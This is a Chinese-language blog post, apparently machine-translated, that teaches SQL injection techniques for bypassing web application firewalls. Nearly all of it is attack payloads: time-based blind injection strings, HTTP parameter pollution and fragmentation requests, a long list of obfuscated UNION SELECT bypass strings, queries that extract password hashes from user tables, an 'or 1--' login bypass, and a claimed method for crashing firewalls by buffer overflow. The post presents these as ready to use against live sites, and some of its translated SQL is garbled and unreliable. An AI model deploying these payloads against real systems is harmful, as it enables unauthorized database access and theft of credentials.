如何使用SQL注入绕过WAF

Admin 2020-04-22 198人围观 ,发现0个评论 绕过Web绕过防火墙Web安全sql注入

想必大家 挖洞(sql,xss,csrf)总会遇到WAF 一看到 Waf真想揍死发明WAF的创始人 有一句俗话 拿不下就D死 哈哈

                                                                               

如何使用SQL注入绕过WAF Web安全 第1张

SQLi

SQL注入攻击通过从客户机到该应用程序的输入数据包括插入或SQL查询的“注射”的。成功的SQL注入漏洞可以从数据库读取敏感数据,修改数据库数据(插入/更新/删除),对数据库执行管理操作(例如关闭DBMS),恢复DBMS文件上存在的给定文件的内容系统,并在某些情况下向操作系统发出命令。SQL注入攻击是一种注入攻击,其中SQL命令被注入到数据平面输入中以实现预定义的SQL命令的执行。

SQL注入–基本概念

SQL注入有两种类型

如何使用SQL注入绕过WAF Web安全 第2张

• SQL Injection into a String/Char parameter
  Example: SELECT * from table where example = 'Example'• SQL Injection into a Numeric parameter
  Example: SELECT * from table where id = 123
  1. 利用SQL注入漏洞根据DBMS类型和注入条件将其分为几类。

• A vulnerable request can get into Insert, Update, Delete, etc.
  Example: UPDATE users SET pass = '1' where user = 't1' OR 1=1--'
  1. 盲SQL注入

 Example: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(200000,md5(now())))
SLEEP(5)--SELECT BENCHMARK(1000000,MD5('A'));id=1 OR SLEEP(25)=0 LIMIT 1--id=1) OR SLEEP(25)=0 LIMIT 1--id=1' OR SLEEP(25)=0 LIMIT 1--id=1') OR SLEEP(25)=0 LIMIT 1--id=1)) OR SLEEP(25)=0 LIMIT 1--id=SELECT SLEEP(25)--
  1. 各种DBMS的利用功能

  Example: (MySQL): SELECT * from table where id = 1 union select 1,2,3
  Example: (PostgreSQL): SELECT * from table where id = 1; select 1,2,3

绕过WAF:SQL注入-规范化方法 示例请求规范化功能中漏洞的编号(1)。•以下请求不允许任何人进行攻击

 /?id=1+union+select+1,2,3/*

•如果WAF中存在相应的漏洞,则此请求

 will be successfully performed  /?id=1/*union*/union/*select*/select+1,2,3/*

•经过WAF处理后,请求将变为

 index.php?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*

给定的示例在清除危险流量的情况下起作用,而不是在阻止整个请求或攻击源的情况下起作用。请求规范化功能中漏洞的示例编号(2)。•同样,以下请求不允许任何人进行攻击

 /?id=1+union+select+1,2,3/*

•如果WAF中存在相应的漏洞,则此请求将成功执行

 /?id=1+un/**/ion+sel/**/ect+1,2,3--

•SQL请求将变为

 SELECT * from table where id =1 union select 1,2,3--

代替构造/ ** /,可以使用WAF剪切掉的任何符号序列(例如,#####,%00)。

给定的示例在过度清洗传入数据(用空字符串替换正则表达式)的情况下起作用。

“使用HTTP参数污染(HPP) ”

•以下请求不允许任何人进行攻击

 /?id=1;select+1,2,3+from+users+where+id=1--

•使用HPP将成功执行此请求

 /?id=1;select+1&id=2,3+from+users+where+id=1--

绕过WAF成功进行HPP攻击取决于被攻击应用程序的环境。 http:// www ..org / images / b / ba / AppsecEU09_CarettoniDiPaola_v0.8.pdf EU09卢卡·卡里托尼(Luca Carettoni),斯特凡诺·迪帕拉(Stefano diPaola)。

![](Sqli-HPP.png“ File:Sqli-HPP.png”)

如何使用SQL注入绕过WAF Web安全 第3张


使用HTTP参数污染(HPP) •易受攻击的代码

 SQL=" select key from table where id= "+Request.QueryString("id")

•使用HPP技术成功执行了此请求

 /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

•SQL请求成为表中的选择键,其中

 id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users

绕过WAF:SQL注入– 使用HTTP参数分段(HPF)的HPF

•易受攻击的代码示例

 Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);  Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit".$_GET['c']);

•以下请求不允许任何人进行攻击

 /?a=1+union+select+1,2/*

•这些请求可以使用HPF成功执行

 /?a=1+union/*&b=*/select+1,2  /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--

•SQL请求变为

 select * from table where a=1 union/* and b=*/select 1,2  select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--

绕过WAF: 使用逻辑请求AND / OR进行盲SQL注入 •以下请求使一个请求可以对许多WAF进行成功的攻击

 /?id=1+OR+0x50=0x50  /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

可以使用负号和不等号(!=,<>,<,>)代替等号-太神奇了,但是许多WAF都错过了!

通过将用WAF签名获得的SQL函数替换为其同义词,可以使用盲SQL注入方法来利用此漏洞。 substring()-> mid(),substr()ascii()-> hex(),bin()Benchmark()-> sleep() 各种各样的逻辑请求。 和1或1和1 = 1和2 <3和'a'='a'和'a'<>'b'和char(32)=''和3 <= 2和5 <=> 4和5 <=> 5和5为空或5不为空…。 具有相同含义的各种请求符号的示例。 从mysql.user中选择用户,其中user ='user'或mid(password,1,1)='*'从mysql.user中选择用户,其中user ='user'或mid(password,1,1)= 0x2a选择用户从mysql.user中,其中user ='user'或mid(password,1,1)= unhex('2a')从mysql.user中选择用户,其中user ='user'或mid(password,1,1)regexp'[ *]'从mysql.user中选择用户,其中user ='user'或mid(password,1,1),例如'*'从mysql.user中选择用户,其中user ='user'或mid(password,1,1)rlike '[*]'从mysql.user中选择用户,其中user ='user'OR ord(mid(password,1,1))= 42从mysql.user中选择用户,其中user ='user'或ascii(mid(password, 1,1))= 42从mysql.user中选择用户,其中user ='user'或find_in_set('2a',hex(mid(password,1,1)))= 1从mysql.user中选择用户,其中user ='用户的OR位置(密码中的0x2a)= 1从mysql中选择用户。用户,其中用户='用户'或定位(0x2a,密码)= 1 已知: substring(((选择'password'),1,1)= 0x70 substr((选择'password'),1,1)= 0x70 mid((select'password'),1,1)= 0x70 新增内容: strcmp (left('password',1),0x69)= 1 strcmp(left('password',1),0x70)= 0 strcmp(left('password',1),0x71)= -1 STRCMP(expr1,expr2 )如果字符串相同,则返回0;如果第一个参数小于第二个,则返回-1,否则返回1。

签名绕过的示例。 以下请求到达WAF签名/?id = 1 + union +(select + 1,2 + from + users),但有时,可以绕过使用的签名/?id = 1 + union +(select +'xz'from + xxx)

/?id=(1)union(select(1),mid(hash,1,32)from(users)) /?id=1+union+(select'1',concat(login,hash)from+users) /?id=(1)union(((((((select(1),hex(hash)from(users)))))))) /?id=(1)or(0x50=0x50)

SQL注入攻击可以成功绕过WAF,并且可以在以下所有情况下进行: •WAF请求规范化功能中的漏洞。•HPP和HPF技术的应用。•绕过过滤器规则(签名)。•通过盲SQL注入方法利用漏洞。•攻击应用程序的操作逻辑(和/或)

WAF绕过字符串。

 /*!%55NiOn*/ /*!%53eLEct*/   %55nion(%53elect 1,2,3)-- -   +union+distinct+select+   +union+distinctROW+select+   /**//*!12345UNION SELECT*//**/   concat(0x223e,@@version)   concat(0x273e27,version(),0x3c212d2d)   concat(0x223e3c62723e,version(),0x3c696d67207372633d22)   concat(0x223e,@@version,0x3c696d67207372633d22)   concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62723e)   concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22)   concat(‘’,@@version,’’)   /**//*!50000UNION SELECT*//**/   /**/UNION/**//*!50000SELECT*//**/   /*!50000UniON SeLeCt*/   union /*!50000%53elect*/   +#uNiOn+#sEleCt   +#1q%0AuNiOn all#qa%0A#%0AsEleCt   /*!%55NiOn*/ /*!%53eLEct*/   /*!u%6eion*/ /*!se%6cect*/   +un/**/ion+se/**/lect   uni%0bon+se%0blect   %2f**%2funion%2f**%2fselect   union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A   REVERSE(noinu)+REVERSE(tceles)   /*--*/union/*--*/select/*--*/   union (/*!/**/ SeleCT */ 1,2,3)   /*!union*/+/*!select*/   union+/*!select*/   /**/union/**/select/**/   /**/uNIon/**/sEleCt/**/   /**//*!union*//**//*!select*//**/   /*!uNIOn*/ /*!SelECt*/   +union+distinct+select+   +union+distinctROW+select+   +UnIOn%0d%0aSeleCt%0d%0a   UNION/*&test=1*/SELECT/*&pwn=2*/   un?+un/**/ion+se/**/lect+   +UNunionION+SEselectLECT+   +uni%0bon+se%0blect+   %252f%252a*/union%252f%252a /select%252f%252a*/   /%2A%2A/union/%2A%2A/select/%2A%2A/   %2f**%2funion%2f**%2fselect%2f**%2f   union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A   /*!UnIoN*/SeLecT+

通过PASS使用URL编码方法进行联合选择: %55nion(%53elect)union%20distinct%20select union%20%64istinctRO%57%20select union%2053elect%23?%0auion%20?%23?%0aselect%23?zen? %0Aunion all%23zen%0A%23Zen%0Aselect%55nion%53ect u%6eion se%6cect unio%6e%73elect unio%6e%20%64istinc%74%20%73elect uni%6fn different%52OW s%65lect%75 %6e%6f%69%6e%61%6c%6c%73%65%6c%65%63%7 非法的排序规则混合方法: unhex(hex(concat(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)) )

   /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)

   union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)?

绕过评论

SQL注释使我们可以绕过很多过滤和WAF。

 Code :
https://www.yir6.cn/news.php?id=1+un/**/ion+se/**/lect+1,2,3--

大小写变更

一些WAF仅过滤小写的SQL关键字。

正则表达式过滤器:/ union \ sselect / g

https://www.yir6.cn/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--

替换关键字

某些应用程序和WAF使用preg_replace删除所有SQL关键字。这样我们就可以轻松绕过。

https://www.yir6.cn/news.php?id=1+UNunionION+SEselectLECT+1,2,3--

在某些情况下,SQL关键字被过滤掉并替换为空格。因此我们可以使用“%0b”来绕过。

https://www.yir6.cn/news.php?id=1+uni%0bon+se%0blect+1,2,3--

对于Mod_rewrite,不能绕过注释“ / ** /”。所以我们用“%0b”代替“ / ** /”。

Forbidden: https://www.yir6.cn/main/news/id/1/**/||/**/lpad(first_name,7,1).html 
Bypassed : https://www.yir6.cn/main/news/id/1%0b||%0blpad(first_name,7,1).html

进阶方法

通过执行“缓冲区溢出”使防火墙崩溃。

1)缓冲区溢出/防火墙崩溃:许多防火墙都是用C / C ++开发的,我们可以使用缓冲区溢出使它们崩溃。

    https://www.yir6.cn/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….
    You can test if the WAF can be crashed by typing:
    ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….
    If you get a 500, you can exploit it using the Buffer Overflow Method.

2)用HEX值替换字符:我们可以用HEX(URL编码)值替换某些字符。

Example:
    https://www.yir6.cn/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
    (which means “union select”)

4)其他可利用的功能:许多防火墙尝试通过添加原型功能或奇怪功能来提供更多保护!(当然,我们可以利用!):

Example:
    This firewall below replaces “*” (asterisks) with Whitespaces! What we can do is this:
    https://www.yir6.cn/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4…
    (If the Firewall removes the “*”, the result will be: 15+union+select….)
    So, if you find such a silly function, you can exploit it, in this way.

验证绕过

如果我们需要绕开某些管理面板,可以使用或1 = 1来做到这一点。

Code:or 1-- -' or 1 or '1"or 1 or"

SELECT * FROM login ID = 1或1 –-'或1或'1”或1或“ AND username =” AND password =“”,则“ or 1 –-”处于活动状态,使条件为true并忽略查询的其余部分。现在让我们检查常规字符串-

SELECT * FROM login WHERE username ='或1--'或1或'1”或1或“'…..”“。或1”部分使查询成立,而其他部分则被视为比较字符串。与双引号相同。SELECT * FROM login WHERE username =“”或1–-'或1或'1“或1或”“


请发表您的评论
请关注微信公众号
微信二维码
不容错过
Powered By 蚁人博客